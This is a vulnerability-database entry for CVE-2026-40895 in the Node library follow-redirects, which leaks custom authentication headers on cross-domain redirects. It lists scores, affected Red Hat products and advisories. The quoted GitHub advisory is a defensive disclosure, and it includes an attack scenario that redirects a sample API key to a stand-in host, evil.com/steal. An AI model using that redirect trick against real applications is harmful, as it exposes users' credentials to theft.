CVE-2026-40895
highpriority · track · 30EPSS 0.005 · 42 %ileDEEUFRRUUSEPSS · scored 2026-10-27
follow-redirects is an open source, drop-in replacement for Node's `http` and `https` modules that automatically follows redirects. Prior to 1.16.0, when an HTTP request follows a cross-domain redirect (301/302/307/308), follow-redirects only strips authorization, proxy-authorization, and cookie headers (matched by regex at index.js). Any custom authentication header (e.g., X-API-Key, X-Auth-Token, Api-Key, Token) is forwarded verbatim to the redirect target. This vulnerability is fixed in 1.16.0.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · low–high · 2.7–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (26)
Products and version ranges known to be affected.
- Red Hat Enterprise Linux 10.0 Extended Update Supportall versionscert_bundDEcpe:/o:redhat:enterprise_linux:10.0_extended_update_support
- Red Hat Enterprise Linux 9.6 Extended Update Supportall versionscert_bundDEcpe:/o:redhat:enterprise_linux:9.6_extended_update_support
- Red Hat Enterprise Linux Advanced Cluster Securityall versionscert_bundDEcpe:/o:redhat:enterprise_linux:advanced_cluster_security
- Red Hat OpenShift Kiali 2.11.10 Service Mesh 3.1all versionscert_bundDEcpe:/a:redhat:openshift:kiali_2.11.10_service_mesh_3.1
- Red Hat OpenShift Kiali 2.17.7 Service Mesh 3.2all versionscert_bundDEcpe:/a:redhat:openshift:kiali_2.17.7_service_mesh_3.2
- Red Hat OpenShift Kiali 2.22.3 Service Mesh 3.3all versionscert_bundDEcpe:/a:redhat:openshift:kiali_2.22.3_service_mesh_3.3
- Red Hat OpenShift Kiali 2.4.16 Service Mesh 3.0all versionscert_bundDEcpe:/a:redhat:openshift:kiali_2.4.16_service_mesh_3.0
- Red Hat OpenShift Network Observability 1.11.2all versionscert_bundDEcpe:/a:redhat:openshift:network_observability_1.11.2
advisories (5)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-1407IBM App Connect Enterprise Certified Container: Mehrere SchwachstellenDeutsch2026-05-06csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise Certified Container ausnutzen, um beliebigen Code auszuführen, Sicherheitsmaßnahmen zu umgehen, Cross-Site-Scripting-Angriffe durchzuführen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.
- WID-SEC-W-2026-1513Kiali für Red Hat OpenShift Service Mesh (Axios, Go, Follow-redirects): Mehrere SchwachstellenDeutsch2026-05-12csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in Kiali für Red Hat OpenShift Service Mesh ausnutzen, um erweiterte Privilegien zu erlangen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren oder offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.
- WID-SEC-W-2026-1654IBM App Connect Enterprise: Mehrere SchwachstellenDeutsch2026-05-21csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM App Connect Enterprise ausnutzen, um beliebigen Programmcode auszuführen, Daten zu manipulieren, Cross-Site-Scripting-Angriffe durchzuführen, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand auszulösen.
- GHSA-r4q5-vmmm-2653follow-redirects leaks Custom Authentication Headers to Cross-Domain Redirect Targets2026-04-14ghsa · osvUS
## Summary When an HTTP request follows a cross-domain redirect (301/302/307/308), `follow-redirects` only strips `authorization`, `proxy-authorization`, and `cookie` headers (matched by regex at index.js:469-476). Any custom authentication header (e.g., `X-API-Key`, `X-Auth-Token`, `Api-Key`, `Token`) is forwarded verbatim to the redirect target. Since `follow-redirects` is the redirect-handling dependency for **axios** (105K+ stars), this vulnerability affects the entire axios ecosystem. ## Affected Code `index.js`, lines 469-476: ```javascript if (redirectUrl.protocol !== currentUrlParts.protocol && redirectUrl.protocol !== "https:" || redirectUrl.host !== currentHost && !isSubdomain(redirectUrl.host, currentHost)) { removeMatchingHeaders(/^(?:(?:proxy-)?authorization|cookie)$/i, this._options.headers); } ``` The regex only matches `authorization`, `proxy-authorization`, and `cookie`. Custom headers like `X-API-Key` are not matched. ## Attack Scenario 1. App uses axios with custom auth header: `headers: { 'X-API-Key': 'sk-live-secret123' }` 2. Server returns `302 Location: https://evil.com/steal` 3. follow-redirects sends `X-API-Key: sk-live-secret123` to `evil.com` 4. Attacker captures the API key ## Impact Any custom auth header set via axios leaks on cross-domain redirect. Extremely common pattern. Affects all axios users in Node.js. ## Suggested Fix Add a `sensitiveHeaders` option that users can extend, or strip ALL non-standard headers on cross-domain redirect. ## Disclosure Source code review, manually verified. Found 2026-03-20.
- CERTFR-2026-AVI-1385Multiples vulnérabilités dans les produits VMwareFrançais2026-10-26vendor · certfrFR
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (51)
External citations — patches, advisories, analysis.
- https://github.com/follow-redirects/follow-redirects/releasesPatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2026-40895cnnvd
- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653enisa_euvd
- https://access.redhat.com/errata/RHSA-2026:13826nvd
- https://access.redhat.com/errata/RHSA-2026:14937nvd
- https://access.redhat.com/errata/RHSA-2026:16476nvd
- https://access.redhat.com/errata/RHSA-2026:16532nvd
- https://access.redhat.com/errata/RHSA-2026:16534nvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan